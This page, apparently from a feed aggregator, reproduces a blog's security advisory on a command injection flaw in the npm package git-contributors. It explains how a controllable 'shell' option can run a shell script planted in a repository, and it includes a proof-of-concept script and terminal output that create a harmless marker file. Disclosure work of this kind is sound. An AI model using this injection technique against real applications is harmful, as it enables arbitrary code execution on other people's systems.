惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

C
Check Point Blog
Y
Y Combinator Blog
GbyAI
GbyAI
Microsoft Azure Blog
Microsoft Azure Blog
Martin Fowler
Martin Fowler
博客园_首页
大猫的无限游戏
大猫的无限游戏
美团技术团队
S
SegmentFault 最新的问题
T
The Blog of Author Tim Ferriss
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
MyScale Blog
MyScale Blog
小众软件
小众软件
Vercel News
Vercel News
阮一峰的网络日志
阮一峰的网络日志
N
Netflix TechBlog - Medium
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
量子位
博客园 - 【当耐特】
J
Java Code Geeks
F
Fortinet All Blogs
宝玉的分享
宝玉的分享
Stack Overflow Blog
Stack Overflow Blog
博客园 - 司徒正美

NodeJS Security & NodeJS Secure Coding's Blog

Hardening Your npm and pnpm Configs in the Age of Shai-Hulud Argument Injection vulnerability in git-blame@1.4.0 Argument Injection vulnerability in `gits@0.1.8` Command Injection vulnerability in `@fab1o/git@1.4.0` Command Injection vulnerability in `git-q@0.0.3` Command injection vulnerability via unsanitized CLI arguments in touxing/fast-git-clone Command Injection vulnerability in `willitmerge@0.2.1` A Directory Traversal Vulnerability I found in Mastra AI Frameworks MCP Server Mastering NPX: A Cheatsheet for npm and Node.js Power Users Mitigate Supply Chain Security with DevContainers and 1Password for Node.js Local Development The Tale of the Vulnerable MCP Database Server Bad Security Defaults in Mastra AI Frameworks Templates SQL Injection and Bypassing "Read-Only" Mode in Xata's MCP Server Security Advisory for qix npm supply-chain compromise affecting debug and billions of weekly download users How to Mitigate SQL Bypass in MCP Servers Enhancing MCP Server Security: A Guide to Using execFile Argument Injection Vulnerability in ggit How to Bypass Access Control in PostgreSQL in Simple PSQL MCP Server for SQL Injection Command Injection Flaws in ggit: Unveiling a Vulnerability Command Injection Vulnerability in Create MCP Server STDIO Tool Exposes System Monitoring Functions GitHub Kanban MCP Server Command Injection Vulnerability Threatens Developer Workflows Critical Command Injection Flaw in iOS Simulator MCP Server Exposes Development Environments Command Injection Vulnerability Discovered in Codehooks MCP Server: A Critical Security Analysis SSRF Shenanigans in safe-axios: Redirects Open the Backdoor SSRF Vulnerability in safe-axios: Unintended Public Address Classification Bypassing SSRF Safeguards in ssrfcheck: A Case of Incomplete Denylists Don't Be Fooled by Multicast, SSRF Bypass in private-ip Node.js Authentication from Lucia to Better Auth Bypassing SSRF Protection in nossrf: When Your Safeguards Become Loopholes Vue CLI Security Fix to Mitigate NPM Binary Planting
Command Injection vulnerability in `git-contributors` via...
2025-11-22 · via NodeJS Security & NodeJS Secure Coding's Blog

The git-contributors project describes itself as a nodejs module providing contribution stats for your git repository. The following represents the security disclosure for a Command Injection vulnerability discovered in this package which is now publicly disclosed upon no success in reaching the maintainer for a fix or response: https://github.com/davidlinse/git-contributors.js/issues/22

Resources:

Background on the vulnerability

I’m reporting a Command Injection vulnerability in git-contributors npm package.

The process execution code for this library is found on lib/gitlog.js in line 26:

exec('git log --pretty="%an %ae"', opts, function (err, stdout) {

While exec() is not a safe API, there is no user controlled input flowing into this command which is completely hard-coded.

However, the command injection vulnerability manifests with the library’s primary exported API: GitContributors.list(opts, function (err, result) {}.

If this API is used with an attack surface that allows users to control any aspect of the opts options object then a command injection vulnerability can happen. Ways for attackers to control the opts object include directly passing variables and values into it from another settings interface, or in cases which their options are merged with a default object.

When attackers control the opts object and are able to set the shell field to a value they control then they can effectively decide the shell binary to execute as part of the spawned command.

If attackers are then also able to control the git repository which is analyzed by this package, then they can plant an executable shell.sh file which they can specify, and this way run any commands.

Exploit

  1. Install git-contributors@0.2.3 or earlier
  2. Clone the repository https://github.com/lirantal/chmod-755 to a directory such as /tmp/chmod-755
  3. Create the following POC code (that can run anywhere the library is installed, unrelated to the repository cloned)

// var GitContributors = require('git-contributors').GitContributors;

var shellCommand = "./shell.sh";

opts = { cwd: "/tmp/chmod-755", markdown: false, shell: shellCommand };

GitContributors.list(opts, function (err, result) {

if (err) {

throw err;

}

console.log(JSON.stringify(result, null, 2));

});

  1. Observe new file created on disk at /tmp/chmod-755/.audit.log

This new .audit.log file is created due to the /tmp/chmod-755/shell.sh file as part of the repository in which this library executed.

The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.

@lirantal /workspaces/git-contributors.js (master) $ node app.js

{

timeout: 5000,

cwd: '/tmp/chmod-755',

maxBuffer: 25600000,

markdown: false,

json: null

}

[

{

"commits": 2,

"name": "Liran Tal",

"email": "liran.tal@gmail.com",

"percent": 100

}

]

@lirantal /workspaces/git-contributors.js (master) $ cat /tmp/chmod-755/.audit.log

-c git log --pretty="%an %ae"